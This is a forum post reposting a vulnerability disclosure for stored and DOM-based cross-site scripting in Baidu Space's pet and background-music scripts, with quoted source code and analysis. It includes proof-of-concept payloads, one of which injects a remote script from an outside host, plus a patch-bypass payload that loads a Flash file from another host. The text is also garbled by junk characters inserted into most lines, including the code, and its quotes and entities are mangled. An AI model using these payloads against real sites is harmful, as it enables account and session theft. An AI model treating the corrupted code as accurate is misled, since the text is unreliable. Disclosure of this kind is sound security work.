找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2489|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  ' X  X- K! v" K9 A5 \( O% o9 u
, L( ?* p0 N) B) I
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
, Z* y  ?; L" W2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  2 m9 x7 h+ v# N$ c- Q

9 [5 O  L) W$ T9 q# V( S将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
8 h' L5 R) V9 J+ C& ~2 W2 g) O3 G其中BdUtil.insertWBR为  
/ j, W9 g+ ~! B' J) _$ D/ Xfunction(text, step) {  
5 q/ X7 G+ j7 [    var textarea = textAreaCache || getContainer();  3 E0 W( Z4 B7 R0 |' w/ S
    if (!textarea) {  9 r1 E8 y' X% C' E; v
        return text;  , T% D7 G* _" P7 W: c% |
    }  : S+ U! W+ |* D6 z, s
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
8 D1 D, Z4 N8 Z7 [7 X( w    var string = textarea.value;  ' m+ ]8 o, }4 X# {7 d
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");    N8 [) T8 c4 s+ B1 \
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
2 w- Z4 J5 p6 P' {( |* e    return result;  
1 X1 b0 @" t6 `) o}  
/ c% t+ J+ r, U9 O& u在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
% d' z* B4 L& g, j' U% N7 f( f  }测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
6 M, F" t% o' I2 V6 J  b% L( N   2 h7 o: b* M$ B1 |
二:creatbgmusic() Dom-Xss Bug  " p) B: `1 O2 l, G& c( e; H
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
* t8 @5 t9 I* L0 p  A6 G! d4 i; Y3 m- s. B
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
7 W* D& P' Q- r$ h' o9 w( L$ A+ q
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  9 |  G# R3 M' H4 L% x% [" c
    //传入的murl赋值到bgmusic1和bgmusic2中  
1 {' G7 j1 ~8 j6 e1 x. }3 b    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
6 q+ [; l3 Y* w5 b* t. b, R$ _* Q    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
0 U5 \1 M1 h+ x    if (musicnum <= 1) {  
3 h! U4 p& g  O4 C        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
# k4 P/ V. _- q; ^    }  . w3 s) w' U: a4 K) b2 N" |  G+ V7 R
    bgmusic1 += "</OBJECT>";  
/ @8 i: h% q+ q# p& {2 j( L) Z! n    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
& \. ~2 v+ J0 V- {    if (musicnum <= 1) {  9 R) |  R9 r9 E* z  s! ~: i
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  ; _- d4 Q3 V* g5 o
    }  
$ g: H! I3 M: q5 D    bgmusic2 += "> </EMBED>";  
) |9 E( Z; l. t9 A    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  " H% }9 C$ t6 u+ o" U
    var bgmus = detectWMP();  * f5 J) B; H0 W: I
    if (functype == "FckMusicHelper") {  
5 K$ a) q/ x4 h        if (bgmus.installed) {  $ s3 F7 S0 A" q! m6 v2 w: T
            if (bgmus.type == "IE") {  . X; ]0 m/ {1 e
                return bgmusic1;  
8 d1 P% A1 T! G" ?7 Q, N# O            } else if (bgmus.type == "NS") {  ) ?4 a& z# @6 H
                return bgmusic2;  
# n" O) \' p6 k& P( ?- I' J! a            }  
( u* B1 g" |* c0 K& U/ E$ U9 p( j        } else {  
) v/ B3 Z4 g- o            return bgmusic3;  
1 F/ P6 k: Z! e- l& [8 v7 A! I1 |6 ?        }  ) j$ J7 B6 x5 B3 ]  Q* h
    } else {  5 T  ~6 q: J8 W) z
        if (bgmus.installed) {  4 e5 i7 v+ v# p  X# j5 ]
            //document.write 直接输出bgmusic变量 导致xss    ~! a6 b$ E* p
            if (bgmus.type == "IE") {  - Y- v* ~' o* Q2 L
                document.write(bgmusic1);  5 l4 |6 o: I) t7 u$ ^; R4 j  a, S$ b
            } else if (bgmus.type == "NS") {  ; o9 M8 J1 z$ f2 \0 F. Q1 {' B! Y
                document.write(bgmusic2);  : E5 m& j4 `8 u& ]9 D) }4 F
            }  
4 n! c( P8 Y2 c        } else {  ; T3 M/ }0 p. F. {& J9 |+ m  C
            document.write(bgmusic3);  3 D, B5 N2 t/ ?: d+ v+ A
        }  
% [, h7 E6 h0 S        return "";  $ ]' W' C+ [4 D* o5 Q) m
    }  ! M; c& ^7 o2 e- c. T3 F
}  
  Z2 M3 J7 v) b" t/ V8 G- P$ r3 j/ ?5 ~
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  0 d( W' I% O5 P& z* p

9 g; K0 K- \# G9 }. r8 |! kfunction initBlogTextForFCK(){  , M( Y( p; G( J; `
//fck init music  # a  a2 U% X/ ]; l
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  2 F% {. H# [* G8 X- D
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  " X" o0 Q+ d7 h0 o1 b: |9 Q
var isAutoPlay=true;  : E7 ]3 p2 L' {  q# L
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
$ X$ L6 z0 e, N( v% K& `  f  var img=imgBox;  
# |! A5 g8 |, b. a) J( w  if(img.getAttribute(’rel’)){        ' d9 P$ q% P. Z0 w7 A( _
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  $ m. l6 U1 b- o$ [: Z
   var musicDiv = document.createElement("SPAN");  
! V9 O5 w. _1 w7 B* k0 g+ {   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
! }" {$ N; O! |& h/ F     
( o/ S0 n" u: i8 e  r3 D& C$ e. G      ..........................  
; K- c" y0 G3 c- U9 e+ u     % d/ ?0 V9 Y" w+ h! ?$ y
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   % s/ Z; d1 D) q. o- L% x7 I/ [
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  " _6 ^1 p' e3 j2 U; X
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
- x) W% D  I) v% u7 s* v   musicDiv.innerHTML=shtml;  
) ^  i7 t' q/ C& ?: f! H6 i% K   i--;n--;  
4 H" r: z% ~6 w  X$ w  }    V$ f9 h5 o* ]. {
}  
, z/ p6 I' w% H
/ B& x# Y. Y% }2 d- T" F6 k% P' A从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  ' H. ~7 e$ U6 b; q# ^9 G3 c  `
   
/ m0 M( P8 ~0 G# P! y: h测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  , |& d( N0 e8 a  x) g, a: ^9 z

1 H( E* R5 ^' ]0 J3 q( Y  B等待官方补丁  
# ?9 [; f9 D! ?# N0 i/ o6 V& U9 J) D/ R( h& ]: }( z, |
update 2010年5月13日   
* Y: y, k  r- y2 `
. _) G3 p( I6 D; P6 m; a官方补丁:  
4 l. Q# z. Z6 T- W1 A+ L
. l& e$ d9 j+ O0 v- z( z, N% Ivar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
; ?1 ~; z$ n0 x1 C2 |& j改为:  
2 o  g) q7 a. s; q4 F" k6 xvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  6 _; I5 _, u1 L* f5 i8 K

& I# e+ l$ t9 o" Supdate 2010年5月13日 21:50:37  
- U+ n  ^: [. s2 F8 w: v& \2 y" M5 g- e! C& c- g, r4 S" [
补丁存在漏洞 没有过滤" 可以继续跨:  
6 M, V' L" V! ?/ z! W
9 E; p+ d- n6 Z  E# P4 {NEW POC:  ) J% t/ k* F# D  v* b5 a' S) x
5 _! l5 f2 b# v9 z+ j7 }% N
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 7 f' W2 W2 i) O3 d) M9 J
( g* }1 d6 O! b8 s2 a& d$ Q) O- y
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>4 e; w% d& t1 |+ M- S. g
+ n4 Q" I, O, j6 W- w+ Y8 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表